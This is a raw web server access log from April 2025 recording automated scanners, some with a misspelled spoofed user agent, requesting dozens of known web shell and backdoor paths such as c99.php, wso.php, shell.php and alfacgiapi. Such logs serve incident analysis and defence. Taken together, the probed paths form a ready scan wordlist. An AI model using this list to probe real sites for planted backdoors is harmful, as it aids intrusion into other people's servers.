"GET /bak.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:20 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:21 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:22 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:23 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:23 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:24 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:26 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:27 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:28 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:30 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:31 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:31 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:32 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:33 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:33 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:34 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:35 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:35 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:37 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:39 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:42 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:44 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:45 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:47 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:52 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:55 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:56 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:57 -0400] "GET /libraries/php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:58 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:59 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:00 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:03 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:04 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:06 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:08 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:11 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:12 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:13 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:15 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:16 -0400] "GET /plugins/custom/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:16 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:17 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:18 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:18 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:19 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:20 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:20 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:21 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:22 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:22 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:23 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:24 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:24 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:25 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:26 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:27 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:27 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:29 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:29 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:30 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:31 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:32 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:32 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:33 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:34 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:34 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:35 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:36 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:38 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:39 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:39 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:41 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:41 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:42 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:43 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:44 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:44 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:45 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:45 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:46 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:47 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:47 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:48 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:48 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:49 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:50 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:51 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:51 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:52 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:52 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:53 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:54 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:54 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:55 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:55 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:56 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:56 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:57 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:58 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:58 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:24:59 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:25:00 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:25:00 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:25:02 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:25:02 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:25:03 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:25:04 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:25:05 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:25:06 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:25:07 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:25:08 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:25:09 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:25:11 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:25:12 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:25:14 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:25:15 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:25:16 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:25:16 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:25:17 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 43.153.79.218 - - [24/Apr/2025:17:47:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 92.255.85.164 - - [24/Apr/2025:17:48:50 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:22:43 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:22:48 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:22:51 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:22:54 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:22:57 -0400] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:23:00 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:23:09 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:23:15 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:23:21 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:23:24 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:23:26 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:23:29 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:23:33 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:23:36 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:23:39 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:23:42 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:23:45 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:23:48 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:23:51 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:23:53 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:23:55 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:23:57 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:23:59 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:02 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:05 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:08 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:11 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:14 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:16 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:19 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:22 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:25 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:26 -0400] "GET /alwso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:28 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:31 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:32 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:34 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:36 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:38 -0400] "GET /symlink.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:40 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:42 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:43 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:46 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [24/Apr/2025:18:24:48 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - 